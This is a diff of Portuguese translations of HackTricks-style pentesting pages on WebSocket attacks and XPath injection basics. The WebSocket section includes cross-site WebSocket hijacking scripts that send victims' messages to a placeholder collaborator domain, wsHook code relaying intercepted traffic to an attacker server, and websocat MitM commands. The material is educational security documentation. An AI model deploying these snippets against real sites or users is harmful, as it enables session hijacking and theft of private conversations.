As conexões WebSocket são normalmente criadas usando JavaScript do lado do cliente, como o seguinte:
|
||||
(Aqui você encontrará um resumo, mas um **guia mais detalhado sobre como uma conexão WebSocket** é criada pode ser encontrado [**aqui**](https://infosecwriteups.com/cross-site-websocket-hijacking-cswsh-ce2a6b0747fc)).\
|
||||
Conexões WebSocket são normalmente criadas usando JavaScript do lado do cliente como o seguinte:
|
||||
```javascript
|
||||
var ws = new WebSocket("wss://normal-website.com/ws");
|
||||
```
|
||||
O protocolo **`wss`** estabelece uma conexão WebSocket sobre uma conexão **TLS** criptografada, enquanto o protocolo **`ws`** utiliza uma conexão **não criptografada**.
|
||||
O protocolo **`wss`** estabelece um WebSocket sobre uma conexão **TLS** criptografada, enquanto o protocolo **`ws`** utiliza uma conexão **não criptografada**.
|
||||
|
||||
Para estabelecer a conexão, o navegador e o servidor realizam um handshake WebSocket sobre HTTP. O navegador emite uma solicitação de handshake WebSocket como a seguinte:
|
||||
Para estabelecer a conexão, o navegador e o servidor realizam um aperto de mão WebSocket sobre HTTP. O navegador emite uma solicitação de aperto de mão WebSocket como a seguinte:
|
||||
```javascript
|
||||
GET /chat HTTP/1.1
|
||||
Host: normal-website.com
|
||||
|
|
@ -45,20 +47,20 @@ Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=
|
|||
```
|
||||
Neste ponto, a conexão de rede permanece aberta e pode ser usada para enviar mensagens WebSocket em ambas as direções.
|
||||
|
||||
**Observação**
|
||||
**Nota**
|
||||
|
||||
Várias **características** das mensagens de **handshake** WebSocket são dignas de nota:
|
||||
Várias **características** das mensagens de **handshake** WebSocket merecem destaque:
|
||||
|
||||
* Os cabeçalhos **`Connection`** e **`Upgrade`** na solicitação e resposta **indicam** que este é um **handshake WebSocket**.
|
||||
* O cabeçalho de solicitação **`Sec-WebSocket-Version`** especifica a versão do protocolo WebSocket que o cliente deseja usar. Isso é tipicamente `13`.
|
||||
* O cabeçalho de solicitação **`Sec-WebSocket-Key`** contém um **valor aleatório** codificado em Base64, que deve ser gerado aleatoriamente em cada solicitação de handshake.
|
||||
* O cabeçalho de resposta **`Sec-WebSocket-Accept`** contém um hash do valor enviado no cabeçalho de solicitação `Sec-WebSocket-Key`, concatenado com uma string específica definida na especificação do protocolo. Isso é feito para evitar respostas enganosas resultantes de servidores mal configurados ou proxies de cache.
|
||||
* Os cabeçalhos **`Connection`** e **`Upgrade`** na solicitação e na resposta **indicam** que se trata de um **handshake WebSocket**.
|
||||
* O cabeçalho de solicitação **`Sec-WebSocket-Version`** especifica a **versão do protocolo WebSocket** que o cliente deseja usar. Normalmente é `13`.
|
||||
* O cabeçalho de solicitação **`Sec-WebSocket-Key`** contém um valor aleatório codificado em Base64, que deve ser gerado aleatoriamente em cada solicitação de handshake.
|
||||
* O cabeçalho de resposta **`Sec-WebSocket-Accept`** contém um hash do valor submetido no cabeçalho de solicitação `Sec-WebSocket-Key`, concatenado com uma string específica definida na especificação do protocolo. Isso é feito para prevenir respostas enganosas resultantes de servidores mal configurados ou proxies de cache.
|
||||
|
||||
O cabeçalho **`Sec-WebSocket-Key`** contém um **valor aleatório** para evitar erros de proxies de cache e **não é usado para autenticação ou manipulação de sessão** (_Não é um token CSRF_).
|
||||
O cabeçalho **`Sec-WebSocket-Key`** contém um **valor aleatório** para prevenir erros de proxies de cache, e **não é utilizado para fins de autenticação ou gerenciamento de sessão** (_Não é um token CSRF_).
|
||||
|
||||
### Console Linux
|
||||
|
||||
Você pode usar o `websocat` para estabelecer uma conexão bruta com um websocket.
|
||||
Você pode usar `websocat` para estabelecer uma conexão bruta com um websocket.
|
||||
```bash
|
||||
websocat --insecure wss://10.10.10.10:8000 -v
|
||||
```
|
||||
|
|
@ -66,43 +68,43 @@ Ou para criar um servidor websocat:
|
|||
```bash
|
||||
websocat -s 0.0.0.0:8000 #Listen in port 8000
|
||||
```
|
||||
### Conexões websocket MitM
|
||||
### Ataques MitM em conexões websocket
|
||||
|
||||
Se você descobrir que os clientes estão conectados a um **websocket HTTP** da sua rede local atual, você pode tentar um [Ataque de ARP Spoofing](../generic-methodologies-and-resources/pentesting-network/#arp-spoofing) para realizar um ataque MitM entre o cliente e o servidor.\
|
||||
Uma vez que o cliente esteja tentando se conectar a você, você pode então usar:
|
||||
Se você descobrir que clientes estão conectados a um **websocket HTTP** da sua rede local atual, você poderia tentar um [Ataque de ARP Spoofing](../generic-methodologies-and-resources/pentesting-network/#arp-spoofing) para realizar um ataque MitM entre o cliente e o servidor.\
|
||||
Uma vez que o cliente está tentando se conectar, você pode então usar:
|
||||
```bash
|
||||
websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v
|
||||
```
|
||||
### Enumeração de Websockets
|
||||
|
||||
Você pode usar a **ferramenta** [**https://github.com/PalindromeLabs/STEWS**](https://github.com/PalindromeLabs/STEWS) **para descobrir, identificar e procurar por** **vulnerabilidades** conhecidas em websockets automaticamente.
|
||||
Você pode usar a **ferramenta** [**https://github.com/PalindromeLabs/STEWS**](https://github.com/PalindromeLabs/STEWS) **para descobrir, identificar e procurar por vulnerabilidades conhecidas** em websockets de forma automática.
|
||||
|
||||
### Ferramentas de depuração de Websocket
|
||||
### Ferramentas de Depuração de Websocket
|
||||
|
||||
* O **Burp Suite** suporta a comunicação MitM de websockets de forma muito semelhante à comunicação HTTP regular.
|
||||
* A extensão [**socketsleuth**](https://github.com/snyk/socketsleuth) do Burp Suite permitirá que você gerencie melhor as comunicações do Websocket no Burp, obtendo o **histórico**, definindo **regras de interceptação**, usando regras de **correspondência e substituição**, usando **Intruder** e **AutoRepeater**.
|
||||
* [**WSSiP**](https://github.com/nccgroup/wssip)**:** Abreviação de "**WebSocket/Socket.io Proxy**", esta ferramenta, escrita em Node.js, fornece uma interface de usuário para **capturar, interceptar, enviar mensagens personalizadas** e visualizar todas as comunicações WebSocket e Socket.IO entre o cliente e o servidor.
|
||||
* [**wsrepl**](https://github.com/doyensec/wsrepl) é um **REPL interativo de websocket** projetado especificamente para testes de penetração. Ele fornece uma interface para observar **mensagens de websocket recebidas e enviar novas**, com um framework fácil de usar para **automatizar** essa comunicação. 
|
||||
* **Burp Suite** suporta comunicação MitM de websockets de maneira muito semelhante à que faz para comunicação HTTP regular.
|
||||
* A extensão [**socketsleuth**](https://github.com/snyk/socketsleuth) do **Burp Suite** permitirá que você gerencie melhor as comunicações de Websocket no Burp, obtendo o **histórico**, configurando **regras de interceptação**, usando regras de **correspondência e substituição**, utilizando **Intruder** e **AutoRepeater.**
|
||||
* [**WSSiP**](https://github.com/nccgroup/wssip): Abreviação de "**WebSocket/Socket.io Proxy**", esta ferramenta, escrita em Node.js, fornece uma interface para **capturar, interceptar, enviar mensagens personalizadas** e visualizar todas as comunicações WebSocket e Socket.IO entre o cliente e o servidor.
|
||||
* [**wsrepl**](https://github.com/doyensec/wsrepl) é um **REPL interativo de websocket** projetado especificamente para pentesting. Ele fornece uma interface para observar **mensagens websocket recebidas e enviar novas**, com uma estrutura fácil de usar para **automatizar** essa comunicação.
|
||||
* [**https://websocketking.com/**](https://websocketking.com/) é um **site para se comunicar** com outros sites usando **websockets**.
|
||||
* [**https://hoppscotch.io/realtime/websocket**](https://hoppscotch.io/realtime/websocket) entre outros tipos de comunicações/protocolos, fornece um **site para se comunicar** com outros sites usando **websockets**.
|
||||
|
||||
## Laboratório de Websocket
|
||||
|
||||
No [**Burp-Suite-Extender-Montoya-Course**](https://github.com/federicodotta/Burp-Suite-Extender-Montoya-Course) você tem um código para lançar um site usando websockets e neste [**post**](https://security.humanativaspa.it/extending-burp-suite-for-fun-and-profit-the-montoya-way-part-3/) você pode encontrar uma explicação.
|
||||
Em [**Burp-Suite-Extender-Montoya-Course**](https://github.com/federicodotta/Burp-Suite-Extender-Montoya-Course) você tem um código para lançar um site usando websockets e em [**este post**](https://security.humanativaspa.it/extending-burp-suite-for-fun-and-profit-the-montoya-way-part-3/) você pode encontrar uma explicação.
|
||||
|
||||
## Sequestro de WebSocket entre sites (CSWSH)
|
||||
|
||||
Também conhecido como _sequestro de WebSocket entre origens cruzadas_.\
|
||||
**É um** [**Cross-Site Request Forgery (CSRF)**](csrf-cross-site-request-forgery.md) **em um handshake de WebSocket**.
|
||||
Também conhecido como _sequestro de WebSocket de origem cruzada_.\
|
||||
**É um** [**Cross-Site Request Forgery (CSRF)**](csrf-cross-site-request-forgery.md) **em um aperto de mão WebSocket.**
|
||||
|
||||
Isso ocorre quando a solicitação de **handshake de WebSocket** depende exclusivamente de **cookies HTTP** para o gerenciamento de sessão e **não contém nenhum token CSRF** ou outros valores imprevisíveis.\
|
||||
Um atacante pode criar uma **página da web maliciosa** em seu próprio domínio que **estabelece uma conexão WebSocket entre sites** com a aplicação vulnerável. A aplicação tratará a conexão no **contexto da sessão do usuário vítima** com a aplicação.
|
||||
Ocorre quando a **solicitação de aperto de mão WebSocket** depende exclusivamente de **cookies HTTP** para o gerenciamento de sessão e **não contém tokens CSRF** ou outros valores imprevisíveis.\
|
||||
Um atacante pode criar uma **página web maliciosa** em seu próprio domínio que **estabelece uma conexão WebSocket entre sites** com a aplicação vulnerável. A aplicação tratará a conexão no **contexto da sessão do usuário vítima** com a aplicação.
|
||||
|
||||
### Ataque Simples
|
||||
|
||||
Observe que ao **estabelecer** uma conexão **websocket**, o **cookie** é **enviado** para o servidor. O **servidor** pode estar usando-o para **relacionar** cada **usuário específico** com sua **sessão websocket com base no cookie enviado**.
|
||||
|
||||
Então, se, por **exemplo**, o **servidor websocket** **enviar de volta o histórico da conversa** de um usuário se uma mensagem com "**READY**" for enviada, então um **XSS simples** estabelecendo a conexão (o **cookie** será **enviado automaticamente** para autorizar o usuário vítima) **enviando** "**READY**" será capaz de **recuperar** o histórico da **conversa**.
|
||||
Então, se por **exemplo** o **servidor websocket** **enviar de volta o histórico da conversa** de um usuário se uma mensagem com "**PRONTO**" for enviada, então um **XSS simples** estabelecendo a conexão (o **cookie** será **enviado automaticamente** para autorizar o usuário vítima) **enviando** "**PRONTO**" poderá **recuperar** o histórico da **conversa**.
|
||||
```markup
|
||||
<script>
|
||||
websocket = new WebSocket('wss://your-websocket-URL')
|
||||
|
|
@ -119,11 +121,11 @@ fetch('https://your-collaborator-domain/?'+event.data, {mode: 'no-cors'})
|
|||
```
|
||||
### Cross Origin + Cookie com um subdomínio diferente
|
||||
|
||||
Neste post do blog [https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/](https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/), o atacante conseguiu **executar código Javascript arbitrário em um subdomínio** do domínio onde a comunicação do websocket estava ocorrendo. Por ser um **subdomínio**, o **cookie** estava sendo **enviado**, e como o **Websocket não verificava corretamente a Origem**, era possível se comunicar com ele e **roubar tokens dele**.
|
||||
Neste post do blog [https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/](https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/) o atacante conseguiu **executar Javascript arbitrário em um subdomínio** do domínio onde a comunicação via websocket estava ocorrendo. Como era um **subdomínio**, o **cookie** estava sendo **enviado**, e porque o **Websocket não verificava a Origem corretamente**, foi possível se comunicar com ele e **roubar tokens dele**.
|
||||
|
||||
### Roubo de dados do usuário
|
||||
### Roubando dados do usuário
|
||||
|
||||
Copie a aplicação web que você deseja se passar (os arquivos .html, por exemplo) e dentro do script onde a comunicação do websocket está ocorrendo, adicione este código:
|
||||
Copie a aplicação web que você deseja se passar (os arquivos .html por exemplo) e dentro do script onde a comunicação via websocket está ocorrendo, adicione este código:
|
||||
```javascript
|
||||
//This is the script tag to load the websocket hooker
|
||||
<script src='wsHook.js'></script>
|
||||
|
|
@ -143,22 +145,22 @@ xhttp.send();
|
|||
return messageEvent;
|
||||
}
|
||||
```
|
||||
Agora faça o download do arquivo `wsHook.js` em [https://github.com/skepticfx/wshook](https://github.com/skepticfx/wshook) e **salve-o dentro da pasta com os arquivos da web**.\
|
||||
Expondo a aplicação web e fazendo com que um usuário se conecte a ela, você será capaz de roubar as mensagens enviadas e recebidas via websocket:
|
||||
Agora faça o download do arquivo `wsHook.js` de [https://github.com/skepticfx/wshook](https://github.com/skepticfx/wshook) e **salve-o dentro da pasta com os arquivos web**.\
|
||||
Expondo a aplicação web e fazendo um usuário se conectar a ela, você será capaz de roubar as mensagens enviadas e recebidas via websocket:
|
||||
```javascript
|
||||
sudo python3 -m http.server 80
|
||||
```
|
||||
## Condições de corrida
|
||||
## Condições de Corrida
|
||||
|
||||
As Condições de Corrida em WebSockets também são uma coisa, [verifique esta informação para saber mais](race-condition.md#rc-in-websockets).
|
||||
Condições de Corrida em WebSockets também são uma realidade, [consulte estas informações para saber mais](race-condition.md#rc-in-websockets).
|
||||
|
||||
## Outras vulnerabilidades
|
||||
|
||||
Como os WebSockets são um mecanismo para **enviar dados para o lado do servidor e do cliente**, dependendo de como o servidor e o cliente lidam com as informações, **os WebSockets podem ser usados para explorar várias outras vulnerabilidades, como XSS, SQLi ou qualquer outra vulnerabilidade web comum usando a entrada de um usuário de um websocket**.
|
||||
Como os Web Sockets são um mecanismo para **enviar dados para o lado do servidor e do cliente**, dependendo de como o servidor e o cliente manipulam as informações, **Web Sockets podem ser usados para explorar várias outras vulnerabilidades como XSS, SQLi ou qualquer outra vuln comum da web usando entrada de um usuário de um websocket.**
|
||||
|
||||
## **WebSocket Smuggling**
|
||||
|
||||
Essa vulnerabilidade poderia permitir que você **bypassasse as restrições de proxies reversos** fazendo-os acreditar que uma **comunicação websocket foi estabelecida** (mesmo que não seja verdade). Isso poderia permitir que um atacante **acessasse endpoints ocultos**. Para mais informações, verifique a seguinte página:
|
||||
Esta vulnerabilidade poderia permitir que você **burlasse as restrições de proxies reversos** fazendo-os acreditar que uma **comunicação websocket foi estabelecida** (mesmo que não seja verdade). Isso poderia permitir que um atacante **acessasse endpoints ocultos**. Para mais informações, consulte a seguinte página:
|
||||
|
||||
{% content-ref url="h2c-smuggling.md" %}
|
||||
[h2c-smuggling.md](h2c-smuggling.md)
|
||||
|
|
@ -170,12 +172,14 @@ Essa vulnerabilidade poderia permitir que você **bypassasse as restrições de
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Aprenda AWS hacking do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
Outras formas de apoiar o HackTricks:
|
||||
|
||||
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**merchandising oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe suas dicas de hacking enviando PRs para os repositórios github do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
|||
|
|
@ -2,105 +2,104 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Aprenda a hackear na AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
Outras formas de apoiar o HackTricks:
|
||||
|
||||
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios do GitHub** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**HackenProof é o lar de todas as recompensas por bugs de criptografia.**
|
||||
Junte-se ao servidor [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) para se comunicar com hackers experientes e caçadores de recompensas por bugs!
|
||||
|
||||
**Seja recompensado sem atrasos**\
|
||||
As recompensas do HackenProof são lançadas apenas quando os clientes depositam o orçamento de recompensa. Você receberá a recompensa após a verificação do bug.
|
||||
**Insights de Hacking**\
|
||||
Engaje-se com conteúdos que exploram a emoção e os desafios do hacking
|
||||
|
||||
**Adquira experiência em pentesting web3**\
|
||||
Protocolos de blockchain e contratos inteligentes são a nova Internet! Domine a segurança web3 em seus dias de ascensão.
|
||||
**Notícias de Hacking em Tempo Real**\
|
||||
Mantenha-se atualizado com o mundo acelerado do hacking através de notícias e insights em tempo real
|
||||
|
||||
**Torne-se a lenda do hacker web3**\
|
||||
Ganhe pontos de reputação com cada bug verificado e conquiste o topo do leaderboard semanal.
|
||||
**Últimos Anúncios**\
|
||||
Fique informado sobre os mais novos programas de recompensa por bugs e atualizações importantes da plataforma
|
||||
|
||||
[**Cadastre-se no HackenProof**](https://hackenproof.com/register) comece a ganhar com seus hacks!
|
||||
|
||||
{% embed url="https://hackenproof.com/register" %}
|
||||
**Junte-se a nós no** [**Discord**](https://discord.com/invite/N3FrSbmwdy) e comece a colaborar com os melhores hackers hoje mesmo!
|
||||
|
||||
## **Sintaxe Básica**
|
||||
|
||||
A injeção de XPATH é uma técnica de ataque usada para explorar aplicativos que constroem consultas XPath (XML Path Language) a partir de entradas fornecidas pelo usuário para consultar ou navegar em documentos XML.
|
||||
A Injeção de XPath é uma técnica de ataque usada para explorar aplicações que constroem consultas XPath (XML Path Language) a partir de entradas fornecidas pelo usuário para consultar ou navegar documentos XML.
|
||||
|
||||
Informações sobre como fazer consultas: [https://www.w3schools.com/xml/xpath\_syntax.asp](https://www.w3schools.com/xml/xpath\_syntax.asp)
|
||||
Informações sobre como fazer consultas: [https://www.w3schools.com/xml/xpath_syntax.asp](https://www.w3schools.com/xml/xpath_syntax.asp)
|
||||
|
||||
### Nós
|
||||
|
||||
| Expressão | Descrição |
|
||||
| ---------- | ----------------------------------------------------------------------------------------------------- |
|
||||
| nodename | Seleciona todos os nós com o nome "nodename" |
|
||||
| / | Seleciona a partir do nó raiz |
|
||||
| // | Seleciona nós no documento a partir do nó atual que correspondem à seleção, não importa onde estejam |
|
||||
| . | Seleciona o nó atual |
|
||||
| .. | Seleciona o pai do nó atual |
|
||||
| @ | Seleciona atributos |
|
||||
| Expressão | Descrição |
|
||||
| ----------- | --------------------------------------------------------------------------------------------------- |
|
||||
| nodename | Seleciona todos os nós com o nome "nodename" |
|
||||
| / | Seleciona a partir do nó raiz |
|
||||
| // | Seleciona nós no documento a partir do nó atual que correspondem à seleção, não importa onde estejam |
|
||||
| . | Seleciona o nó atual |
|
||||
| .. | Seleciona o pai do nó atual |
|
||||
| @ | Seleciona atributos |
|
||||
|
||||
### **Exemplos:**
|
||||
|
||||
| Expressão de Caminho | Resultado |
|
||||
| --------------- | -------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| bookstore | Seleciona todos os nós com o nome "bookstore" |
|
||||
| /bookstore | Seleciona o elemento raiz bookstore**Observação:** Se o caminho começar com uma barra ( / ), ele sempre representa um caminho absoluto para um elemento! |
|
||||
| bookstore/book | Seleciona todos os elementos book que são filhos de bookstore |
|
||||
| //book | Seleciona todos os elementos book não importa onde eles estejam no documento |
|
||||
| bookstore//book | Seleciona todos os elementos book que são descendentes do elemento bookstore, não importa onde eles estejam sob o elemento bookstore |
|
||||
| //@lang | Seleciona todos os atributos com o nome lang |
|
||||
| -------------------- | ----------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| bookstore | Seleciona todos os nós com o nome "bookstore" |
|
||||
| /bookstore | Seleciona o elemento raiz bookstore**Nota:** Se o caminho começa com uma barra ( / ), ele sempre representa um caminho absoluto para um elemento! |
|
||||
| bookstore/book | Seleciona todos os elementos book que são filhos de bookstore |
|
||||
| //book | Seleciona todos os elementos book, não importa onde estejam no documento |
|
||||
| bookstore//book | Seleciona todos os elementos book que são descendentes do elemento bookstore, não importa onde estejam sob o elemento bookstore |
|
||||
| //@lang | Seleciona todos os atributos com o nome lang |
|
||||
|
||||
### Predicados
|
||||
|
||||
| Expressão de Caminho | Resultado |
|
||||
| ----------------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| /bookstore/book\[1] | <p>Seleciona o primeiro elemento book que é filho do elemento bookstore.<strong>Observação:</strong> No IE 5,6,7,8,9 o primeiro nó é[0], mas de acordo com a W3C, é [1]. Para resolver esse problema no IE, defina a SelectionLanguage como XPath:</p><p>Em JavaScript: xml.setProperty("SelectionLanguage","XPath");</p> |
|
||||
| /bookstore/book\[last()] | Seleciona o último elemento book que é filho do elemento bookstore |
|
||||
| /bookstore/book\[last()-1] | Seleciona o penúltimo elemento book que é filho do elemento bookstore |
|
||||
| /bookstore/book\[position()<3] | Seleciona os dois primeiros elementos book que são filhos do elemento bookstore |
|
||||
| //title\[@lang] | Seleciona todos os elementos title que possuem um atributo chamado lang |
|
||||
| //title\[@lang='en'] | Seleciona todos os elementos title que possuem um atributo "lang" com um valor de "en" |
|
||||
| /bookstore/book\[price>35.00] | Seleciona todos os elementos book do elemento bookstore que possuem um elemento price com um valor maior que 35.00 |
|
||||
| /bookstore/book\[price>35.00]/title | Seleciona todos os elementos title dos elementos book do elemento bookstore que possuem um elemento price com um valor maior que 35.00 |
|
||||
| Expressão de Caminho | Resultado |
|
||||
| ----------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
|
||||
| /bookstore/book\[1] | <p>Seleciona o primeiro elemento book que é filho do elemento bookstore.<strong>Nota:</strong> No IE 5,6,7,8,9 o primeiro nó é [0], mas de acordo com o W3C, é [1]. Para resolver esse problema no IE, defina SelectionLanguage para XPath:</p><p>Em JavaScript: xml.setProperty("SelectionLanguage","XPath");</p> |
|
||||
| /bookstore/book\[last()] | Seleciona o último elemento book que é filho do elemento bookstore |
|
||||
| /bookstore/book\[last()-1] | Seleciona o penúltimo elemento book que é filho do elemento bookstore |
|
||||
| /bookstore/book\[position()<3] | Seleciona os dois primeiros elementos book que são filhos do elemento bookstore |
|
||||
| //title\[@lang] | Seleciona todos os elementos title que possuem um atributo chamado lang |
|
||||
| //title\[@lang='en'] | Seleciona todos os elementos title que têm um atributo "lang" com valor "en" |
|
||||
| /bookstore/book\[price>35.00] | Seleciona todos os elementos book do elemento bookstore que têm um elemento price com valor maior que 35.00 |
|
||||
| /bookstore/book\[price>35.00]/title | Seleciona todos os elementos title dos elementos book do elemento bookstore que têm um elemento price com valor maior que 35.00 |
|
||||
|
||||
### Nós Desconhecidos
|
||||
|
||||
| Coringa | Descrição |
|
||||
| -------- | ---------------------------- |
|
||||
| \* | Corresponde a qualquer nó de elemento |
|
||||
| @\* | Corresponde a qualquer nó de atributo |
|
||||
| node() | Corresponde a qualquer nó de qualquer tipo |
|
||||
| Curinga | Descrição |
|
||||
| ------- | -------------------------------- |
|
||||
| \* | Corresponde a qualquer nó de elemento |
|
||||
| @\* | Corresponde a qualquer nó de atributo |
|
||||
| node() | Corresponde a qualquer nó de qualquer tipo |
|
||||
|
||||
### **Exemplos:**
|
||||
|
||||
| Expressão de Caminho | Resultado |
|
||||
| -------------------- | ------------------------------------------------------------------------- |
|
||||
| /livraria/\* | Seleciona todos os nós de elementos filhos do elemento livraria |
|
||||
| //\* | Seleciona todos os elementos no documento |
|
||||
| //titulo\[@\*] | Seleciona todos os elementos de título que possuem pelo menos um atributo |
|
||||
| Expressão de Caminho | Resultado |
|
||||
| -------------------- | --------------------------------------------------------------------------- |
|
||||
| /bookstore/\* | Seleciona todos os nós de elementos filhos do elemento bookstore |
|
||||
| //\* | Seleciona todos os elementos no documento |
|
||||
| //title\[@\*] | Seleciona todos os elementos title que têm pelo menos um atributo de qualquer tipo |
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**HackenProof é o lar de todas as recompensas por bugs de criptografia.**
|
||||
Junte-se ao servidor [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) para se comunicar com hackers experientes e caçadores de recompensas por bugs!
|
||||
|
||||
**Seja recompensado sem atrasos**\
|
||||
As recompensas do HackenProof são lançadas apenas quando seus clientes depositam o orçamento de recompensa. Você receberá a recompensa após a verificação do bug.
|
||||
**Insights de Hacking**\
|
||||
Engaje-se com conteúdos que exploram a emoção e os desafios do hacking
|
||||
|
||||
**Adquira experiência em pentesting web3**\
|
||||
Protocolos de blockchain e contratos inteligentes são a nova Internet! Domine a segurança web3 em seus dias de ascensão.
|
||||
**Notícias de Hacking em Tempo Real**\
|
||||
Mantenha-se atualizado com o mundo acelerado do hacking através de notícias e insights em tempo real
|
||||
|
||||
**Torne-se a lenda dos hackers web3**\
|
||||
Ganhe pontos de reputação com cada bug verificado e conquiste o topo do leaderboard semanal.
|
||||
**Últimos Anúncios**\
|
||||
Fique informado sobre os mais novos programas de recompensa por bugs e atualizações importantes da plataforma
|
||||
|
||||
[**Cadastre-se no HackenProof**](https://hackenproof.com/register) e comece a ganhar com seus hacks!
|
||||
|
||||
{% embed url="https://hackenproof.com/register" %}
|
||||
**Junte-se a nós no** [**Discord**](https://discord.com/invite/N3FrSbmwdy) e comece a colaborar com os melhores hackers hoje mesmo!
|
||||
|
||||
## Exemplo
|
||||
